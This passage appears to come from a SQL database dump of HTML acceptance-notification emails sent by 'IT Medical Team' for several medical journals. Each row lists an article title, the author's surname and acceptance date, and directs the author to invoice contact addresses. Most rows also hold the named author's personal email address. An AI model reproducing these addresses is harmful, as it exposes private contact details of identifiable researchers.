href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ermias.algawork@aau.edu.et',13119,'2022-11-30',48),(4173,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-13154</b><br />\r\n            <br />\r\n            Article Title: <b>The effect of quercetin and resveratrol the expression of some genes involved epigenetic in breast cancer cell lines</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmadirad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hahmadirad@yahoo.com',13154,'2022-12-03',85),(4174,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13116</b><br />\r\n            <br />\r\n            Article Title: <b>Disability and Quality of Life </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chakrabartty</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Chakrabarttysatyendra139@gmail.com',13116,'2022-12-14',48),(4175,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13120</b><br />\r\n            <br />\r\n            Article Title: <b>Paternal post-natal depression. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kontoyannis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mkontoyannis@yahoo.gr',13120,'2022-12-14',48),(4176,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13120</b><br />\r\n            <br />\r\n            Article Title: <b>Paternal post-natal depression. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kontoyannis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mkontoyannis@yahoo.gr',13120,'2022-12-14',48),(4177,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-13125</b><br />\r\n            <br />\r\n            Article Title: <b>SEXUAL BEHAVIOUR AND HIV RELATED KNOWLEDGE AMONG UNDERGRADUATE STUDENTS OF OBAFEMI AWOLOWO UNIVERSITY, ILE-IFE, NIGERIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Omololu-Aso</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','omololu-aso@oauife.edu.ng',13125,'2022-12-20',85),(4178,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacr-22-13343</b><br />\r\n            <br />\r\n            Article Title: <b>The Suppressive Effects of Cytotoxic Agents on Lymphoma Cell Proliferation and Tumor Growth</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-in-cancer-research.html\" target=\"_blank\">Archives in Cancer Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vasilevich</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives in Cancer Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-in-cancer-research.html\">Archives in Cancer Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nvasile2003@yahoo.com',13343,'2022-12-22',972),(4179,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-12822</b><br />\r\n            <br />\r\n            Article Title: <b>Determinants of Health-Seeking Behaviour Among Enrollees of a Social Health Insurance Scheme in Anambra State, Southeast, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ezenwaka</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-12-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ezenwakauche@yahoo.com',12822,'2022-12-28',85),(4180,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13354</b><br />\r\n            <br />\r\n            Article Title: <b>Nanoemulgel: A Novel Approach for Topical Delivery System</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SHARMA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-01-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sharmaram77@ymail.com',13354,'2023-01-04',376),(4181,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13351</b><br />\r\n            <br />\r\n            Article Title: <b>Updated Review on Proniosomal Transdermal Drug Delivery System </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SHARMA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-01-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sharmaram77@ymail.com',13351,'2023-01-04',376),(4182,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13354</b><br />\r\n            <br />\r\n            Article Title: <b>Nanoemulgel: A Novel Approach for Topical Delivery System</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SHARMA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-01-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sharmaram77@ymail.com',13354,'2023-01-09',376),(4183,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13431</b><br />\r\n            <br />\r\n            Article Title: <b>Probiotics in dermatological therapy and skincare</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>T</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-01-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vinotha.t@hicas.ac.in',13431,'2023-01-23',376),(4184,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13463</b><br />\r\n            <br />\r\n            Article Title: <b>The trans-differentiation of Keratinocyte: Requisite for skin wound healing and cosmetic surgery </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MISHRA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mamata.mishra@jrfonline.com',13463,'2023-02-01',376),(4185,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13431</b><br />\r\n            <br />\r\n            Article Title: <b>Probiotics in dermatological therapy and skincare</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>T</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vinotha.t@hicas.ac.in',13431,'2023-02-06',376),(4186,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13208</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of the intrinsic determinants of Nurses&acirc;&euro;&trade; job satisfaction in Borno state, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Yahaya</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','eedreesan@gmail.com',13208,'2023-02-06',48),(4187,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13213</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge and skills of the medical and nursing staff of Emergency Department in triage. Comparative study between public and private hospitals in Athens.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>VOUTSINOU</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','eleni25v@gmail.com',13213,'2023-02-08',48),(4188,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-13395</b><br />\r\n            <br />\r\n            Article Title: <b>An Assessment of Public Health in India: An Overview.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rajab</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mkhanday19@gmail.com',13395,'2023-02-10',48),(4189,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-23-13500</b><br />\r\n            <br />\r\n            Article Title: <b>EFFECTS OF MEDICINAL PLANTS IN DIAGNOSTIC IMMUNOLOGY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>BASHA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-02-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/drug-development-and-research.html\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','saifairoz143@gmail.com',13500,'2023-02-20',376),(4190,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td 